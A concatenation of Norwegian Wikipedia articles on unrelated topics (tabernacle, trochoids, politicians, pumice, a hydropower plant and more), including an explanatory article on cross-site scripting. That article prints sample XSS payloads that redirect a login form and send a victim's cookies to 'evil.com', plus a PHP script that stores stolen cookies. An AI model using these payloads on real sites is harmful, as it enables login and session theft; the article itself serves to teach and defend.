recursal/SuperWikiNEXT-32B huggingface dataset:
Modell av tabernakelet i Timnadalen i Israel.
**Tabernakelet** er den vanlige betegnelsen for den transportable helligdom som israelittene ifølge Det gamle testamente førte med seg under ørkenvandringen på Moses' tid og som ble brukt frem til Tempelet i Jerusalem ble bygget. I Bibelen kalles det også «møteteltet» eller «telthelligdommen». Tabernaklet dannet forbildet for det senere tempelets innretning.

Betydning
---------

På hebraisk kalles tabernakelet *mishkan*. Det norske ordet «tabernakel» er avledet fra latinske *tabernāculum* (beslektet med *taverna*, «veikro») i betydningen «telt» eller «hytte», som i antikkens romerske religion var en rituell struktur.

Ordet «helligdom» eller i den norske bibeloversettelsen, «telthelligdom», er også benyttet for den bibelske tabernakelet, som i betydningen «møteteltet». Det hebraiske ordet *mishkan* innebærer «bolig», «hvile», eller «å leve i», den bolig innenfor denne guddommelig innsatte struktur.

Beskrivelse
-----------

Tabernakelet hadde to rom, det hellige og det aller helligste. I det hellige stod det en syvarmet lysestake, et skuebrødsbord og et røkelsesalter, og i det aller helligste ble paktens ark oppbevart. 

To av personene som ifølge Bibelen skulle hjelpe til med å gjøre i stand tabernakelet var Besalel og Oholiab.

Bibelen opplyser at tabernaklet var 30 alen (13,4 m) langt og 10 alen (4,5 m) høyt, noe som ser ut til å være innvendige mål (*Andre Mosebok* 26). Det var tydeligvis også 10 alen bredt (*Andre Mosebok* 26). Det aller helligste hadde tydeligvis form som en kube, med sider på 10 alen, mens det hellige var dobbelt så langt som det var bredt. I forbindelse med byggingen av Tabernakelet står det at det ble brukt skinn av *tachash*.

Etter at israelittene hadde gått inn i det lovte land, ble tabernakelet satt opp i Gilgal, og senere ble det flyttet til Sjilo på den tiden da landet ble fordelt mellom stammene. (*Josvas bok*: 18:1) Der var det til Samuels tid. Det var senere i Nob, (*Første Samuelsbok*: 1–6) og siden ble det flyttet til Gibeon. (*Første Krønikebok* 21: 29) Da paktens ark ble hentet til Jerusalem i Davids regjeringstid, hadde den ikke vært i Tabernakelet på lenge. Tabernakelet var i Gibeon helt til Salomos tempel sto ferdig.

Referanser
----------

1. ↑   Nettbibelen: *Andre Mosebok* 39:32
2. ↑   «tabernakel», *Bokmålsordboka*
3. ↑  Warde Fowler, William (1922): *The Religious Experience of the Roman People*. London. s. 209.
4. ↑   Scheid, John (2003): *An Introduction to Roman Religion*. Indiana University Press. s. 113–114.
5. ↑   Linderski, Jerzy (1986): «The Augural Law», *Aufstieg und Niedergang der römischen Welt*. **II** (16), s. 2164–2288.
6. ↑  Souvay, Charles Léon (1913): «Tabernacle», Herbermann, Charles: *Catholic Encyclopedia*. New York: Robert Appleton.
7. ↑   «Mishkan», *Strong's Concordance*.
8. ↑   Nettbibelen: *Andre Mosebok* 26:16–18
9. ↑  Nettbibelen: *Andre Mosebok* 26:22–24

Eksterne lenker
---------------

* (en) Tabernacle – kategori av bilder, video eller lyd på Commons Rediger på Wikidata

|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | Encyclopædia Britannica
 |
En forlenget trokoide med *b* /*a* = 3/2.
**Trokoide** (gresk: τροχοειδής - rund) er en kurve som blir tegnet av et punkt som sitter fast på et hjul eller en sirkel som ruller langs en rett linje. Avhengig av om punktet er plassert innfor eller utenfor omkretsen til hjulet, snakker man om en *forkortet* eller *forlenget* trokoide. 

Når punktet sitter nøyaktig på omkretsen til hjulet, vil det beskrive en vanlig sykloide. Ligningene som beskriver trokoiden kan utledes på samme måte. Hvis *a* er radius i sirkelen, og det beskrivende punktet er plassert i avstand *b* fra dennes senter, er denne kurven gitt ved parameterfremstillingen 

{\displaystyle x=a\theta -b\sin \theta }
{\displaystyle y=a-b\cos \theta }
når sirkelen ruller i samme retning som viseren på en klokke. Hvis denne rotasjonen foregår med vinkelhastighet *ω*, er vinkelen *θ* = *ωt* slik at den er null ved tiden *t* = 0.

Rullekurver
-----------

En forkortet trokoide hvor forholdet *b* /*a* = 1/3.
En forlenget trokoide hvor forholdet *b* /*a* = 3.
Trokoider er eksempel på mer generelle *rullekurver*. De er definerte ved to glatte kurver hvor den ene ligger fast og den andre befinner seg i et plan som beveger seg slik at kurven i dette planet ruller på den stasjonære uten å gli på denne. De to gitte kurvene har derfor felles tangent til hvert tidspunkt. Et punkt i det bevegelige planet genererer dermed rullekurven.

Episykloide med *k* = *R*/*r* = 1/2.
Det enkleste eksemplet er den vanlige sykloiden hvor den bevegelige kurven er en sirkel som triller langs en rett linje. Hvis sirkelen med radius *r* istedet ruller utvendig på en stasjonær sirkel med radius *R*, vil den resulterende kurven bli en episykloide. Dens form er bestemt av forholdet *k* = *R*/*r*. Når dette er heltallig, vil rullekurven bli lukket og gjenta seg periodisk med tiden. På samme måte genereres en hyposykloide når den rullende sirkelen beveger seg på innsiden av den som ligger fast.

I gresk astronomi ble planetenes bevegelse beskrevet ved hjelp av episykler som er sirkler som igjen beveger seg med jevn hastighet langs stasjonære sirkler eller *deferenter*. Med bare en slik episykel vil planeten sett fra Jorden beskrive en kurve som er en epitrokoide. Dette er en generalisert episykloide hvor det genererende punktet ligger utenfor omkretsen til den rullende sirkelen.

Referanser
----------

1. ↑   J.D. Lawrence, *A Catalog of Special Plane Curves*, Dover Publications, New York (1972). ISBN 0-486-60288-5.
2. ↑   R. Tambs Lyche, *Matematisk Analyse I*, Gyldendal Norsk Forlag, Oslo (1961).
3. ↑   J. Evans, *The History and Practice of Ancient Astronomy*, Oxford University Press, New York (1998). ISBN 0-19-509539-1.

Eksterne lenker
---------------

* Mathcurve, *Base, rolling and roulette curves*

|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | MathWorld
 |
**Nils Svendsen** (født 3. juni 1957) er en fiktiv person skapt av Tore Ryen som spilles av Sven Nordin. Nils opptrer i de norske situasjonskomediene *Mot i brøstet* (1993–1997), samt videoutgivelsen *Tusenårsfesten* (2000).

I episode 4 av Mot i Brøstet kommer det frem at Nils er født i stjernetegnet «Fiskene»; dette er da motstridene med at han er født 3.juni som det nevnes i en annen episode.

Nils er en av Karls venner. Han er en godhjertet og munter type, men kanskje ikke akkurat den skarpeste kniven i skuffen. Nils elsker cornflakes med banan, jordbærsyltetøy, melk, og mye annet han finner i kjøleskapet. Han liker også potetgull og spesielt seigmenn og cola. Etter å ha fått sparken som vaktmester, begynner han ikke på jobb før i sesong 5, hvor han får jobb på bananlageret på supern med Trine. Grunnen er at han tok den forrige på fersken for å stjele bananer, mens han klinte med Trine.
Han har fire barn: Ole, Dole, Doffen og ei jente som heter Erna, oppkalt etter Nils sin mor.

Replikker
---------

* Bip-bip!
* Dette er/var show!
* Jeg tar det med en gang!
**Nils Tveit** (født 8. januar 1876 i Os i Hordaland, død 13. juli 1949) var en norsk gårdbruker og politiker (V). Han var Os' ordfører fra 1916 til 1945 og stortingsrepresentant for Hordaland fra 1945 til 1949.

Tveit var utdannet fra Nordhordland amtsskule 1890–1891. Han arbeidet en periode som rosemaler, før han senere ble likningssekretær, tilsynsmann for Rikstrygdeverket og bankrevisor. Tveit overtok farsgården i 1911 og drev den frem til sin død. I perioden 1940–1947 var han fylkesforsyningssjef for Hordaland.

Tveit var ordfører fra 1916 til 1945, og satt også i fylkestinget fra 1928 til 1940. Han var formann i fylkestinget 1931–1934 og varaformann i tre perioder. Han satt på Stortinget i én periode fra 1945 til han gikk bort like før periodens slutt i 1949. I samme periode satt Tveit også i Venstres landsstyre.

Tveit mottok Kongens fortjenstmedalje i gull i 1936. Han var også aktiv i Det frivillige skyttervesen i en årrekke, og hadde tillitsverv både på lokalt, regionalt og nasjonalt plan. Tveit fikk Norges skytterstyres fortjenestemedalje i gull i 1925.

Referanser
----------

1. ↑   Stortinget og statsrådet : 1915–1945. B. 1 : Biografier, side(r) 731[Hentet fra Wikidata]
2. ↑   Stortinget og statsrådet : 1915–1945. B. 1 : Biografier, side(r) 732[Hentet fra Wikidata]

Kilder
------

* «Tveit, Nils». stortinget.no. Besøkt 11. april 2011.

Eksterne lenker
---------------

* (no) Nils Tveit hos Stortinget Rediger på Wikidata

* (no) Nils Tveit hos Norsk senter for forskningsdata politikerarkiv (nedlagt) Rediger på Wikidata

  


|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | Historisk befolkningsregister **·** BIBSYS **·** Stortinget **·** VIAF
 |
Video av Linnamäe vannkraftverk 2022
**Linnamäe vannkraftverk** med demning ble anlagt i 1924 i elva Jägala, i Jõelähtme kommune øst for Tallinn. Flere fossefall her, deriblant Jägalafossen, markerer en terrasse i landskapet skapt av morenemasser som elva har skåret seg igjennom ned til Finskebukta. Horisontalt fall er 10 meter, og vannføringen 13,5 m³/sek. Installert effekt er 1,2 MW.

Den finske ingeniøren, profssor Axel Verner Juselius, tegnet anlegget med 3 turbiner på 350 kW hver. Vannkraftverket ble ansett som et av de mest severdige og arkitektonisk vellykkede industrianlegg i Estland. Allerede i 1941 ble kraftverket sprengt av den fremrykkende Røde armé, og først i 2002 var anlegget ferdig oppbygd. Det har turbiner på hnhv 340 kW, 385 kW og 425 kW.

Den russiske filmskaperen Andrej Tarkovskij spilte inn scener til sin film Stalker inne i ruinene av kraftverket.

Eksterne lenker
---------------

* Kokk, Aavo og Eilart, Andres: *Brushstroke Estonia*, Regio 2011, Tallinn. Side 30.
* Linnemäe, Estonia – Waterpumps WP Oy, 2002.

Portaler: Estland | Energi
**Terje Kollbotn** (født 1. desember 1951) er en fagforeningsleder og Rødt-politiker fra Odda. Han har vært medlem av kommunestyret der sia 1991. Han har vært sentral i fagforeningsmiljøet i kommunen i mer enn 25 år, blant annet som leder av samorganisasjonen (LO i Odda/Indre Hardanger) fra 1988 til 2012. Han har også vært leder av Hardangeraksjonen mot EU. I Rødt (tidligere RV) har han vært fylkesleder i Hordaland og faglig leder nasjonalt. 

Kollbotn er i perioden 2011–15 første vararepresentant til fylkestinget. Ved stortingsvalget 2013 var han tredjekandidat for Rødt i Hordaland. I 2021 ble han valgt som 1.vara til Stortinget for Rødt i Hordaland valgkrets. 

Kollbotn er opprinnelig industriarbeider. Han er nå leder for bygg- og anleggsavdelinga ved Norsk Vasskraft- og Industristadmuseum.

Referanser
----------

1. ↑   stortinget.no, stortingsrepresentant-ID TERKOL[Hentet fra Wikidata]

Kilder
------

* «Stiller ikke til LO-gjenvalg», *Hardanger Folkeblad* 14. mars 2012; besøkt 26. juni 2013.
* «16 lister frå Hordaland godkjend til stortingsvalet», *Hardanger Folkeblad* 3. juni 2012; besøkt 26. juni 2013.

  


|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | Stortinget
 |
Wellmanns luftskip
**Luftskipet «America»** var et luftskip fra 1910 som ble bygget av Mutin Godard i Paris for Walter Wellman med tanke på flyvning til Nordpolen.

Nordpolsplanene ble oppgitt og Wellman ville forsøke seg på å krysse Atlanterhavet. Ferden startet I Atlantic City i oktober 1910, vind og vær førte luftskipet sydover i retning Bermuda. Etter 33 timer hadde de seilt 2 200 km. Motorene sviktet og kondensvann bygget seg opp på skipet som ikke klarte den ekstra vekten og sank i havet. Wellman og hans mannskap, inklusive skipskatten kom seg i livbåten og ble berget, men luftskipet sank tilbunns.

Det skulle gå enda åtte år før noen forsøkte å krysse Atlanterhavet luftveien, da Alcock og Brown gjennomførte en vellykket atlanterhavsflyvning.

Litteratur
----------

* Nelson, Stewart (1993) "Airships in the Arctic" *Arctic 46* (3) 278-83.
* Robinson, Michael (2006) "The New Machines: Walter Wellman and Robert Peary" in *The Coldest Crucible: Arctic Exploration and American Culture* (University of Chicago Press)
* Arctic Postal History 1906-09
* Wellman's Obituary in *Time* magazine Arkivert 13. august 2013 hos Wayback Machine.

Se også
-------

* Luftskipsmuseet på Spitsbergen
Pimpstein fra vulkanen Pico del Teide på øya Tenerife, del av Kanariøyene utenfor Marokko.
**Pimpstein** er en meget blæret, skumaktig type vulkansk glass, en vulkansk dagbergart. Pimpstein dannes ved at gasser unnviker under størkning av rhyolittiske (sure) lavastrømmer. De små blærerommene i pimpstein utgjør så mye av steinens volum at pimpstein flyter på vann. Fargen er som regel lysegrå.

Pimpstein blir som regel slynget ut av lavaer i rundaktige stykker (pimpsteinslapilli, cinder), og kan danne store og utstrakte tuffavleiringer (pimpsteintuff eller trass). Det øverste laget av basiske lavastrømmer er ofte også oppblæret på lik måte til en type pimpstein (scoria), mens det nedre laget består av mer kompakt lava.

Pimpstein kan brukes som et slipemiddel, og pulverisert kan også pimpstein brukes i skurepulver og såper.

Etymologi
---------

Ordet «pimp-» kommer gjennom lavtysk fra latin *pumex*, «pimpstein», beslektet med *spuma*, «skum».

Referanser
----------

1. 1 2 3 4  Pimpstein. (2015, 3. november). I Store norske leksikon. Hentet 8. januar 2017 fra .
2. ↑  de Caprona, Yann: *Norsk etymologisk ordbok*. 5. opplag, Kagge Forlag (2014). s. 254

|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | Store norske leksikon **·** Store Danske Encyklopædi **·** Encyclopædia Britannica **·** GND **·** LCCN
 |
**Ari Pulkkinen** (født 1982 i Helsingfors) er en finsk spillmusikkomponist, musiker og lyddesigner. Han er mest kjent for musikken til spillet *Angry Birds*.

Biografi
--------

Pulkkinen begynte å spille piano som seksåring, og komponerte sin første sang når han var 12 år. Han var aktiv i Demoscenen der han laget musikk ved hjelp av Tracker-programvare. Han vant mange konkurranser og lagde sitt første album til freeware-spillet *Starfight VI: Gatekeepers* i 1999. 

Mellom 2003 og 2008 var han ansatt som lydregissør i spillselskapet Frozenbyte. Der laget han blant annet soundtrackene til spillene *Shadowgrounds*, *Shadowgrounds: Survivor* og *Trine*. Deretter startet han sitt eget firma og har senere laget soundtrack og lyddesign til over 20 videospill, som *Angry Birds*, *Dead Nation*, *Trine 2*, *Outland* og *Super Stardust HD*. Ari gir ut musikken på sin egen label AriTunes.

Den 2. september 2011 ble Angry Birds-kjenningsmelodien fremført av London Philharmonic Orchestra. Dette var første gang Pulkkinens musikk ble spilt av et fullt orkester.

4. oktober 2011 vant Ari *Best Finnish Game Developer in 2011 Award* for sine bidrag til den finske spillindustrien.

Arbeider
--------

* *Starfight VI: Gatekeepers* (2000)
* *Shadowgrounds* (2005)
* *Super Stardust HD* (2007)
* *Shadowgrounds: Survivor* (2007)
* *Trine* (2009)
* *Angry Birds* (2009)
* *Dead Nation* (2010)
* *Outland (video game)* (2011)
* *Bike Baron* (2011)
* *Trine 2* (2011)
* *Super Stardust Delta* (2012)
* *Trine 2: Goblin Menace* (2012)
* *Angry Birds Trilogy* (2012)
* *Resogun* (2013)
* *Trine 3: The Artifacts of Power* (2015)

Eksterne lenker
---------------

* (en) Ari Pulkkinen på Internet Movie Database Rediger på Wikidata
* (en) Ari Pulkkinen på Discogs Rediger på Wikidata

* (en) Ari Pulkkinen på Discogs Rediger på Wikidata

* (en) Ari Pulkkinen på MusicBrainz Rediger på Wikidata

* (en) Ari Pulkkinen på MusicBrainz Rediger på Wikidata

|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | VIAF **·** MusicBrainz **·** MusicBrainz **·** Discogs **·** Discogs
 |
**Ari Pekka Siiriäinen** (født 16. november 1939 i Viborg, død 9. desember 2004 i Helsingfors) var en finsk arkeolog. 

Siiriäinen avla eksamen i 1968 med høyest karakter i arkeologi og geologi og disputerte i 1974 med en avhandling om den postglasiale landheving og steinaldersbosettingens kronologi i Finland; i *Studies Relating to Shore Displacements and Stone Age Chronology i Finland* (1974) introduserte Siiriäinen et geografisk-arkeologisk tilnærming på Finlands eldre steinalder.

Allerede på 1950- og 1960-tallet deltok han i de feltarbeidene som var foranlediget av de store kraftverksutbyggingene nord i Finland. I mange artikler omtalte han disse prosjektene, liksom steinalderens økonomi, kulturforhold og dateringsspørsmål. Siiriäinen arbeidet i 1977–1982 som amanuensis og intendant ved Museumsverket og ble i 1983 utnevnt til professor i arkeologi ved Helsingfors universitet; ble pensjonert i 2003.

Siiriäinens forskningsvirksomhet ble rettet seg allerede tidlig mot utlandet. På 1960-tallet deltok han i den samnordiske ekspedisjonen til Nubia og på 1970-tallet innledet han utgravninger i Kenya. Disse kom til å pågå i mange år og omfattet blant annet studier omkring menneskenes innvirkning på naturen, arealbruk og ørkendannelse i Afrika. I slutten av 1980-tallet innledet han omfattende forskning i Peru, Chile og Bolivia og 1998–2001 deltok han i Jabal Harun-prosjektet i Jordan. Siiriäinens omfattende forskningsprosjekter utenlands gjorde ham internasjonalt kjent; hans kanskje noe rastløse virksomhet ledet til at hans interesse for Finlands forhistorie havnet i bakgrunnen.

Referanser
----------

1. ↑   Autorités BnF, BNF-ID 13080987m, catalogue.bnf.fr, besøkt 31. desember 2019[Hentet fra Wikidata]
2. ↑   oppført som Ari Siiriäinen, uppslagsverket.fi[Hentet fra Wikidata]

Kilder
------

* *Nationalencyklopedin*, 16 (1995)
* Siiriäinen, Ari i Uppslagsverket Finland (webutgave, 2009)

  

Portal: Arkeologi

|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | Uppslagsverket Finland **·** Nationalencyklopedin **·** VIAF **·** GND **·** LCCN **·** ISNI **·** BNF **·** BNF (data) **·** SUDOC
 |
**Cross-site scripting**, ofte forkortet til **XSS**, er en teknikk som kan benyttes for å manipulere websider.

XSS-hull finnes i dynamiske webapplikasjoner der brukerdata uforsiktig printes tilbake til nettleseren. Årsaken til problemet er at programvareutvikleren ikke prosesserer brukerdata riktig. Skal brukerdata printes tilbake til nettleseren bør for eksempel html tagger fjernes. Det kan gjøres ved å konvertere krokodilletegnene < og > til &lt; og &gt; respektivt slik at nettleseren ikke lenger tolker de som html-tagger men rendrer tegnet visuelt isteden. I PHP kan det gjøres slik: `htmlspecialchars($input);`

*Hackere* kan utnytte XSS-hull og:

* utføre phishing-angrep
* stjele cookies (informasjonskapsler)

Sjekkliste for å beskytte seg mot XSS er å **filtrere all input fra brukeren**,
det vil si HTTP POST, HTTP GET og HTTP COOKIES.

Eksemplene som er vist i denne artikkelen er forsøkt forenklet slik at også ikke-tekniske lesere kan sjekke om et nettsted har XSS-hull.

Eksempel (ikke-teknisk)
-----------------------

Du har en gjestebok, og noen skriver inn følgende melding til deg:

```
Hei du! God jul <script>alert("XSS hull!")</script>
```

* Hvis det kommer opp en meldingsboks når du leser gjesteboken så er den sårbar for XSS.
* Hvis ikke, er brukerinput blitt filtrert *før* meldingen ble lagret (i en flatfil eller en database).

### Eksempel på phishing-angrep (litt teknisk)

Ta følgende form som et eksempel.

```
<form action="login.php" method="post">
<input type="text" name="user><br />
<input type="password" name="pass"><br /><br />
<input type="submit" value="Logg inn">
</form>

```

Ved å forandre «`login.php`» til «`http://evil.com/stjel.php`» kan en hacker lagre alle brukernavn og passord som blir lagt inn. En avansert hacker kan automatisere scripet sitt slik at med en gang noen logger inn så blir passordet endret til noe annet.

### Eksempel på phishing-angrep i URL (litt teknisk)

De fleste XSS-hull finner man når man endre på URL-er. Ta denne URL-en:

```
http://good.com/index.php?msg=Hei du". 

```

For å bruke eksempelet overfor til å utføre et phishing-angrep kunne man ha oppgitt følgende URL til offeret:

```
http://good.com/index.php?msg=Hei du<script>document.forms[0].action.value='http://evil.com/stjel.php'</script>

```

### Eksempel på stjeling av cookies (litt teknisk)

Hvis en hacker vil stjele en annens cookies så kan han sende følgende URL til offeret:

```
http://good.com/index.php?msg=Hei du<script>document.location.href="http://evil.com/stjel.php?id="+document.cookie</script>

```

Idet offeret intetanende klikker på linken vil «stjel.php» kalles. Denne kan for eksempel se slik ut:

```
<?php
$cookies=$_GET['id'];
$fp=fopen("cookies.txt", "a");
fwrite($fp, "Nye cookies: $cookies \n");
?>

```

Hackeren kan så installere denne cookie-en i egen browser og vil da bli logget inn som offeret.

Eksterne lenker
---------------

* The Cross-Site Scripting (XSS) FAQ @CGISecurity
* Cross-Site Scripting Info @Apache Software Foundation
***Boj s tenju 3: Poslednij raund*** (originaltittel: *Бой с тенью 3D: Последний раунд*) er en russisk film fra 2011, regissert av Aleksej Sidorov.

Handling
--------

Etter fire år har bokseren Artyom Kolchin nådd alle tenkelige topper, og blitt utropt til en nasjonal helt i hjemlandet. Han dukker ikke lenger opp i bokseringen, men foretrekker å være en trener og ha et livlig sosialt liv med konstante opptredener på TV, fester og intriger. Hjemme om morgenene får han selskap av datteren Pauline og sin kone Vika, som ikke lenger gjenkjenner den Artyom som hun en gang ble forelsket i. Vika begynner å føle at hun ikke lenger er forelsket i Artyom, og hun velger å forlate ham.

Kolchin tar med seg en ung protege, Oleg, som nesten blir drept av den berømte filippinske bokseren Antonio Cuerte i bokseringen. Artyom mistenker at Oleg benytter noen ulovlige stoffer. For å finne beviser for dette må Kolchin reise til Hong Kong, hvor hans gamle bekjent Vagit Valiev venter på ham: Han vet noe om Antonio Cuerte som ingen andre vet om. Men kort tid etter ankomst til Hong Kong blir Artyom arrestert for smugling av narkotika, og står deretter overfor et drapsforsøk.

Etter en rekke problemer møtes endelig Artyom og Vagit. Det viser seg at Cuerte faktisk er en genmodifisert person. Han var resultat etter eksperimenter ved et hemmelig laboratorium eid av kinesiske triader, og ledet av den mystiske Lee Ho. For å skaffe ytterligere beviser reiser hovedpersonen, sammen med Vagit og kjæresten Sun, inn i jungelen. Han klarer å finne labratoriumet, og snakke med professor Bastian.

Skuespillere
------------

* Denis Nikiforov som Artjom Koltsjin
* Jelena Panova som Vika
* Andrej Panin som Valijev
* Pavel Derevjanko som Timokha
* Batu Khasikov som Antonio Cuerte

Referanser
----------

1. ↑  .
2. ↑   Freebase-data fra Google[Hentet fra Wikidata]
3. ↑  Названы главные российские кинорежиссеры десятилетия
4. ↑  Бой с тенью 3D: Последний раунд (2011)

Eksterne lenker
---------------

* (en) *Boj s tenju 3: Poslednij raund* på Internet Movie Database Rediger på Wikidata

* (en) *Boj s tenju 3: Poslednij raund* på AllMovie Rediger på Wikidata

* (en) *Boj s tenju 3: Poslednij raund* på Rotten Tomatoes Rediger på Wikidata
**«Alle får no' til jul»** er en sang med humortrioen Prima Vera, opprinnelig utgitt 18. oktober 1982 på musikkalbumet *Ha ha he he ho! (De gærne har'e godt)*. Sangen ble innspilt 6.–11. september 1982 i Arne Bendiksens Studio. Musikerne på dette sporet var Geir Holmsen (bass), Marius Müller (gitar), Magne Lunde (trommer), Geir Langslet (synth), Anita Skorgan (string) og Jahn Teigen (akustisk gitar).

Tekst og melodi er skrevet av Prima Vera, og teksten handler om massemedia sin måte å blåse opp temaer unødvendig mye. Helt i starten av 1980-årene fikk spesielt frykt for atomkrig og kjønnssykdommen herpes mye fokus i aviser og tv (se også «Ra-ta-ta (det blir krig)»). Denne gang lagde Prima Vera en blanding av parodi på en julesang samt at de sparket humoristisk til at massemedia blåste opp frykten for herpes. Det er Tom Mathisen som synger (i refrengene er stemmen hans dobbelt innspilt). Han beroliger lytteren med at alle får noe til jul, deriblant herpes. I refrenget trengte Prima Vera to pikestemmer for å få fram mest mulig julepreg over sangen. Damen som mestret å spille inn to troverdige pikestemmer, var Anita Skorgan. Hun var Jahn Teigens samboer i 1982, og de giftet seg og fikk datteren Sara i 1984.

> Julen er en tid som oftest kommer på slutten av året.
> 
> 
> Kommentar til «Alle får no' til jul» på albumomslaget.
> 
> 

Teigen fremførte sangen på svensk tv i 1983. Han sang mest mulig på svensk slik at publikum skulle forstå teksten. Han hadde på seg julaktig kostyme til å begynne med. Omtrent midtveis i sangen, kledde han av seg slik at han kun sto igjen med tangatruse.

Andre utgivelser
----------------

* *Absolute Prima Vera* – (utgitt januar 1994)
* *Prima Vera (a)live* – (konsertfilm utgitt oktober 2001 – et lite utdrag er med i medleyen «Rest of the best». Her synger Mathisen den sammen med Teigen.)
* *Det beste fra Prima Vera* – (utgitt 20. juni 2016)

Referanser
----------

1. ↑  *Absolute Prima Vera* (cover informasjon)
2. ↑  *Ha ha he he ho! (De gærne har'e godt)* – cover informasjon
3. ↑  *Og det er langt å gå* – NRK program sendt 18. september 1999 i anledning Teigens 50-årsdag
4. ↑  Youtube – Medium: Jahn Teigen synger «Alle får no' til jul» på svensk tv
En bulb med relativt kompleks form. Bildet viser også baugthrusterne.
En **bulb** er en del av et skipsskrog, og består av et kuleformet utspring helt forut og under vann. Dens funksjon er å påvirke bølgemønsteret rundt skipet, slik at det møter mindre motstand i vannet. For større skip kan dette redusere drivstofforbruket med 12 % til 15 %.

Ved høy hastighet (Froude tall > 0,25) virker bulben positivt ved å skape et bølgesystem i motfase med skrogets eget bølgesystem. Dette endrer trykkfordelingen langs skrogsiden og reduserer slik motstanden. Ved lav hastighet (Froude tall < 0,25) *kan* bulb virke positivt ved at fyldighet flyttes fra skuldrene og framover.

En bulb vil i hovedsak være effektiv på deplasementsskip over omtrent 45 fot og vil være designet for å være mest effektiv ved skipets marsjfart. Planende og halvplanende skrog, samt mindre båter, vil ikke kunne dra nytte av bulb. I dag har praktisk talt alle lasteskip, passerskip og marinefartøy bulb.

Litteratur
----------

Ottesen, Einar Kr. (1965). *Om bulber på skip*. Trondheim: Norges tekniske høgskole, Skipsmodelltanken.

Eksterne lenker
---------------

* (en) Bulbous bows – kategori av bilder, video eller lyd på Commons Rediger på Wikidata
* «The bulbous bow : What is it, and why ?», fra nettstedet dieselduck.info (engelsk)

|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | Store norske leksikon
 |
**Bulandet**, tidligere kalt *Bue*, er ei øygruppe vest i havet i Askvoll kommune i Vestland fylke. Det er om lag 300 øyer, holmer og skjær i gruppa; av dem bor det folk på om lag 15. Grunnkretsen Bulandet hadde 237 innbyggere pr. 1. januar 2017. Etter at aktiviteten på Utvær i Solund tok slutt, er Bulandet det vestligste levende fiskeværet i Norge.

I 2003 ble vei- og bruanlegget Nordsjøporten åpnet. Tidligere var det ferjesamband fra Askvoll/Fure/Værlandet til Bulandet. Nå går ferja til Værlandet, og derfra er det vei- og brusamband til Bulandet. Nordsjøporten er på i alt seks nye bruer og 5240 meter ny veg.

Navnet Bulandet kommer av *bu* som i rorbu eller sjøbu. Hovednæringa er fortsatt fiske og fiskeforedling, men turisme gir også arbeid og inntekter og er en næring i vekst. Det er barnehage og kombinert barne- og ungdomsskole på Bulandet, der også barn fra Værlandet går.

Referanser
----------

1. ↑  «Bulandet». *Faktaark*. Kartverket. Besøkt 7. februar 2018.
2. ↑  Bulandet på Norgeskart.no fra Statens kartverk, besøkt 7. februar 2018
3. ↑  «Tabell: 04317: Folkemengde, etter grunnkrets». *14280206 Bulandet*. Statistisk sentralbyrå. Besøkt 7. februar 2018.

|  |  |
| --- | --- |
| Oppslagsverk/autoritetsdata | Store norske leksikon **·** Sentralt stedsnavnregister
 |
| Artikkelen inngår i serien om
**Aksjeanalyse** |
| --- |
|  |
| **Lønnsomhet** |
| Resultatmargin
Driftsmargin |
| **Avkastning** |
| Egenkapitalavkastning
Resultat per aksje (EPS) |
| **Verdisetting** |
| Price/Earnings (P/E)
Price/Sales (P/S) |

**Egenkapitalavkastning** er et nøkkeltall for lønnsomhet som viser forholdet mellom en bedrifts egenkapital og årsresultat, vanligvis presentert i prosent.

{\displaystyle Egenkapitalavkastning=\left({\frac {{\dot {A}}rsresultat}{Egenkapital}}\right)\*100}

Anvendelse
----------

Egenkapitalavkastningen til en bedrift gir analytikere en idé om hvor godt bedriften klarer å utnytte aksjonærenes egenkapital. Et selskap med høy egenkapitalavkastning betyr at selskapet utnytter eiernes tilbakeholdte kapital (egenkapitalen) godt.

DuPont-formelen
---------------

DuPont-formelen er en formel som bryter egenkapitalavkastningen ned i 3 ledd:

* Hvor effektivt bedriften drives
* Hvor effektivt bedriften utnytter sine eiendeler
* Hvor solid bedriften er

{\displaystyle Egenkapitalavkastning={\frac {{\dot {A}}rsresultat}{Omsetning}}\*{\frac {Omsetning}{Totalkapital}}\*{\frac {Totalkapital}{Egenkapital}}}

Selv om DuPont-formelen gir nøyaktig samme resultat som den enklere formelen for egenkapitalavkastning, vil endringer i egenkapitalavkastningen blir lettere synlig ved bruk av denne formelen.

Eksempel
--------

### Wilh. Wilhelmsen

**Resultat Konsern**  
(USD mill.)| *Driftsinntekter* | *$ 2 511* |
| Primært driftsresultat | $ 538 |
| Driftsresultat | $ 368 |
| Resultat før skatt | $ 268 |
| *Årsresultat* | *$ 230* |

**Balanse Konsern**  
(USD mill.)| Anleggsmidler | $1 877 |
| Omløpsmidler | $ 857 |
| *Egenkapital* | *$ 1 037* |
| Rentebærende gjeld | $ 1 239 |
| *Totalkapital* | *$ 2 735* |

(Relevante verdier i kursiv)

{\displaystyle Egenkapitalavkastning=\left({\frac {230}{1037}}\right)\*100={\underline {\underline {22,28\%}}}}

{\displaystyle Egenkapitalavkastning=\left({\frac {230}{2511}}\*{\frac {2511}{2735}}\*{\frac {2735}{1037}}\right)\*100={\underline {\underline {22,28\%}}}}

Referanser
----------

1. 1 2  Wilh. Wilhelmsen Årsrapport 2006, s. 5
**De egeiske øyer**
**De egeiske øyer** (gresk: Νησιά Αιγαίου, *Nisiá Aigaíou*; tyrkisk: *Ege Adaları*) er en øygruppe i Egeerhavet, med fastlandet til Hellas i vest og Tyrkia i øst. Kreta utgjør den sørlige grensen. I antikken hadde øyene navnet *Arkhipelago*, som betyr øygruppe, og etter hvert, som på engelsk (*archipelago*), har navnet blitt et synonym for øygruppe. 

De greske egeiske øyene er delt inn i flere grupper (fra nord til sør): 

* De nordøstlige egeiske øyer
* Sporadene
* Évvia
* Argo-saroniske øyer
* Kykladene
* Dodekanesene
* Kreta

Nesten alle de egeiske øyene hører til Hellas og er delt mellom ni administrative periferier. Tyrkia eier øyene Imbros (Gökçeada), Tenedos (Bozcaada) og åtte småøyer utenfor vestkysten. 

